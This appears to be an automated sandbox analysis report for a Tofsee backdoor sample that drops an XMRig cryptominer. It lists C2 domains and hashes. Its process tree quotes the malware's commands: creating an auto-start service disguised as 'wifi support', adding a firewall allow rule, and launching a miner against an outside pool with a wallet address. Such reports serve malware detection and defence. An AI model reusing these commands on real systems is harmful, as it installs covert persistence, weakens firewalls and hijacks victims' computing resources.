Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/01/2023, 00:52

General

  • Target
    file.exe
  • Size 354KB
  • Sample230108-a73cbsff47
  • SHA256 67f530e02de31b225a432d14350404d0bbf848f84e329cf2ed83a5c1f89a5ccc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4404
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ccfmydba\
      2⤵
        PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dwtbslfc.exe" C:\Windows\SysWOW64\ccfmydba\
        2⤵
          PID:3836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ccfmydba binPath= "C:\Windows\SysWOW64\ccfmydba\dwtbslfc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ccfmydba "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ccfmydba
          2⤵
          • Launches sc.exe
          PID:2332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4240
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 1032
          2⤵
          • Program crash
          PID:3856
      • C:\Windows\SysWOW64\ccfmydba\dwtbslfc.exe
        C:\Windows\SysWOW64\ccfmydba\dwtbslfc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4588
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3236
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 516
          2⤵
          • Program crash
          PID:4128
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4404 -ip 4404
        1⤵
          PID:1824
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4588 -ip 4588
          1⤵
            PID:1072

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                dwtbslfc.exe

                • Path C:\Users\Admin\AppData\Local\Temp\dwtbslfc.exe
                • Size 13.5MB
                • SHA256 23f04b0d5fd691cd8572e5160f94c2eca984e89331c0d34a414511fd0d4931f0
                • MD5 SHA1 SHA512 SSDEEP

                dwtbslfc.exe

                • Path C:\Windows\SysWOW64\ccfmydba\dwtbslfc.exe
                • Size 13.5MB
                • SHA256 23f04b0d5fd691cd8572e5160f94c2eca984e89331c0d34a414511fd0d4931f0
                • MD5 SHA1 SHA512 SSDEEP

                memory/3236-156-0x0000000001790000-0x0000000001796000-memory.dmp

                memory/3236-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

                memory/3236-168-0x00000000023D0000-0x00000000023D7000-memory.dmp

                memory/3236-165-0x0000000006F00000-0x000000000730B000-memory.dmp

                memory/3236-159-0x00000000017A0000-0x00000000017B0000-memory.dmp

                memory/3236-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/3236-152-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/3236-151-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/3236-147-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/4404-144-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/4404-135-0x0000000004D50000-0x0000000004D63000-memory.dmp

                memory/4404-134-0x00000000030B0000-0x00000000031B0000-memory.dmp

                memory/4404-138-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/4588-150-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/5008-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/5008-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp